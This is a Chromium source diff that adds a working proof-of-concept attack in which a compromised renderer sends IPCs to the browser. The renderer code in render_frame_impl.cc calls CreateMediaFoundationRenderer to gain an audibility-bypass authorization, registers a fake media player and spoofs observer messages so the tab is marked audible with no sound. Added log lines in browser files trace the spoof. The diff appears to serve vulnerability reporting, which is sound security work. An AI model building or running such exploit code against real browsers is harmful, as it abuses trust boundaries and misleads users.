diff --git a/content/browser/media/audio_stream_monitor.cc b/content/browser/media/audio_stream_monitor.cc
--- a/content/browser/media/audio_stream_monitor.cc
+++ b/content/browser/media/audio_stream_monitor.cc
@@ -97,6 +97,9 @@ std::unique_ptr<AudioStreamMonitor::AudibleClientRegistration>
 void AudioStreamMonitor::AddAudibleClient(
     GlobalRenderFrameHostId render_frame_host_id) {
   DCHECK(thread_checker_.CalledOnValidThread());
+  // POC instrumentation: prove the spoof reached the audibility sink.
+  LOG(ERROR) << "[POC][BROWSER] AudioStreamMonitor::AddAudibleClient rfh="
+             << render_frame_host_id;

   audible_clients_[render_frame_host_id]++;
   UpdateStreams();
diff --git a/content/browser/media/media_interface_proxy.cc b/content/browser/media/media_interface_proxy.cc
--- a/content/browser/media/media_interface_proxy.cc
+++ b/content/browser/media/media_interface_proxy.cc
@@ -405,6 +405,9 @@ void MediaInterfaceProxy::CreateMediaFoundationRenderer(

     // `MediaFoundationRenderer` bypasses the browser's audio service.
     // Authorize the frame for audibility bypass claims.
+    LOG(ERROR) << "[POC][BROWSER] CreateMediaFoundationRenderer: stamping "
+                  "AudibilityBypassAuthorization on document for rfh="
+               << render_frame_host().GetGlobalId();
     AudibilityBypassAuthorization::GetOrCreateForCurrentDocument(
         &render_frame_host());
   }
diff --git a/content/browser/media/media_web_contents_observer.cc b/content/browser/media/media_web_contents_observer.cc
--- a/content/browser/media/media_web_contents_observer.cc
+++ b/content/browser/media/media_web_contents_observer.cc
@@ -578,6 +578,12 @@ void MediaWebContentsObserver::MediaPlayerObserverHostImpl::
   auto* audio_stream_monitor =
       media_web_contents_observer_->web_contents_impl()->audio_stream_monitor();

+  LOG(ERROR) << "[POC][BROWSER] NotifyAudioStreamMonitorIfNeeded:"
+             << " IsAudible=" << player_info->IsAudible()
+             << " uses_audio_service=" << uses_audio_service_
+             << " IsAuthorized=" << AudibilityBypassAuthorization::IsAuthorized(
+                    RenderFrameHost::FromID(media_player_id_.frame_routing_id))
+             << " => should_add_client=" << should_add_client;
   if (should_add_client && !audio_client_registration_) {
     audio_client_registration_ =
         audio_stream_monitor->RegisterAudibleClient(player_info->GetHostId());
diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -4136,6 +4136,103 @@ void RenderFrameImpl::DidDispatchDOMContentLoadedEvent() {
   first_paint_metrics_->DidDispatchDOMContentLoadedEvent();
 }

+// =====================================================================
+// POC: Compromised-renderer attack on AudibilityBypassAuthorization.
+// Windows-only (CreateMediaFoundationRenderer is [EnableIf=is_win]).
+// All this code does is send IPCs the browser already accepts from any
+// renderer; nothing here relies on renderer-side privilege.
+// =====================================================================
+#if BUILDFLAG(IS_WIN)
+#include "media/base/media_content_type.h"
+#include "media/mojo/mojom/interface_factory.mojom.h"
+#include "media/mojo/mojom/media_log.mojom.h"
+#include "media/mojo/mojom/media_player.mojom.h"
+#include "media/mojo/mojom/renderer.mojom.h"
+#include "media/mojo/mojom/renderer_extensions.mojom.h"
+#include "mojo/public/cpp/bindings/associated_remote.h"
+#include "mojo/public/cpp/bindings/pending_associated_receiver.h"
+#include "mojo/public/cpp/bindings/pending_associated_remote.h"
+#include "mojo/public/cpp/bindings/pending_receiver.h"
+#include "mojo/public/cpp/bindings/pending_remote.h"
+#include "mojo/public/cpp/bindings/remote.h"
+
+namespace {
+
+struct PocAudibilitySpoofState {
+  mojo::Remote<media::mojom::InterfaceFactory> interface_factory;
+  mojo::AssociatedRemote<media::mojom::MediaPlayerHost> player_host;
+  mojo::AssociatedRemote<media::mojom::MediaPlayerObserver> observer;
+  // Keep the MediaPlayer receiver end alive so the browser-side remote
+  // does not see a disconnect.
+  mojo::PendingAssociatedReceiver<media::mojom::MediaPlayer> player_receiver;
+};
+
+}  // namespace
+
+static void PocRunAudibilitySpoof(content::RenderFrameImpl* rfi) {
+  if (!rfi->GetWebFrame() || !rfi->GetWebFrame()->IsOutermostMainFrame()) {
+    return;
+  }
+  GURL url(rfi->GetWebFrame()->GetDocument().Url());
+  if (!url.SchemeIsHTTPOrHTTPS() || url.path() != "/poc.html") {
+    return;
+  }
+  LOG(ERROR) << "[POC][RENDERER] starting audibility-bypass spoof for " << url;
+
+  // Intentionally leaked: keep mojo endpoints alive for the life of the tab.
+  auto* s = new PocAudibilitySpoofState();
+
+  // Step 1: bind media.mojom.InterfaceFactory via BrowserInterfaceBroker and
+  // call CreateMediaFoundationRenderer with throwaway pipes. This stamps
+  // AudibilityBypassAuthorization on the document in the browser process
+  // (media_interface_proxy.cc) regardless of whether the resulting Renderer
+  // pipe is ever used.
+  rfi->GetBrowserInterfaceBroker().GetInterface(
+      s->interface_factory.BindNewPipeAndPassReceiver());
+  {
+    mojo::PendingRemote<media::mojom::MediaLog> media_log;
+    std::ignore = media_log.InitWithNewPipeAndPassReceiver();
+    mojo::PendingRemote<media::mojom::Renderer> renderer;
+    mojo::PendingRemote<media::mojom::MediaFoundationRendererExtension> ext;
+    s->interface_factory->CreateMediaFoundationRenderer(
+        std::move(media_log), renderer.InitWithNewPipeAndPassReceiver(),
+        ext.InitWithNewPipeAndPassReceiver());
+    // Drop |renderer| and |ext| — we never need a real MF renderer.
+  }
+
+  // Step 2: bind media.mojom.MediaPlayerHost via the channel-associated
+  // interface provider and register a fake player.
+  rfi->GetRemoteAssociatedInterfaces()->GetInterface(
+      s->player_host.BindNewEndpointAndPassReceiver());
+
+  mojo::PendingAssociatedRemote<media::mojom::MediaPlayer> player_remote;
+  s->player_receiver = player_remote.InitWithNewEndpointAndPassReceiver();
+
+  mojo::PendingAssociatedReceiver<media::mojom::MediaPlayerObserver> obs_recv =
+      s->observer.BindNewEndpointAndPassReceiver();
+
+  s->player_host->OnMediaPlayerAdded(std::move(player_remote),
+                                     std::move(obs_recv),
+                                     /*player_id=*/0x4141);
+
+  // Step 3: drive the observer pipe so the browser believes this fake player
+  // is audible-but-bypassing-the-audio-service. With the authorization stamp
+  // from step 1, NotifyAudioStreamMonitorIfNeeded() will register us as an
+  // audible client → tab shows the audio indicator with zero audio output.
+  s->observer->OnMediaMetadataChanged(/*has_audio=*/true, /*has_video=*/true,
+                                      media::MediaContentType::kPersistent);
+  s->observer->OnMutedStatusChanged(/*muted=*/false);
+  s->observer->OnUseAudioServiceChanged(/*uses_audio_service=*/false);
+  s->observer->OnMediaPlaying();
+
+  LOG(ERROR) << "[POC][RENDERER] spoof IPCs sent; watch for "
+                "[POC][BROWSER] AddAudibleClient in browser stderr";
+}
+#endif  // BUILDFLAG(IS_WIN)
+
 void RenderFrameImpl::DidFinishLoad() {
   TRACE_EVENT1("navigation,benchmark,rail", "RenderFrameImpl::didFinishLoad",
                "frame_token", frame_token_);
@@ -4147,6 +4244,10 @@ void RenderFrameImpl::DidFinishLoad() {

   for (auto& observer : observers_)
     observer.DidFinishLoad();
+
+#if BUILDFLAG(IS_WIN)
+  PocRunAudibilitySpoof(this);
+#endif
 }

 void RenderFrameImpl::DidFinishLoadForPrinting() {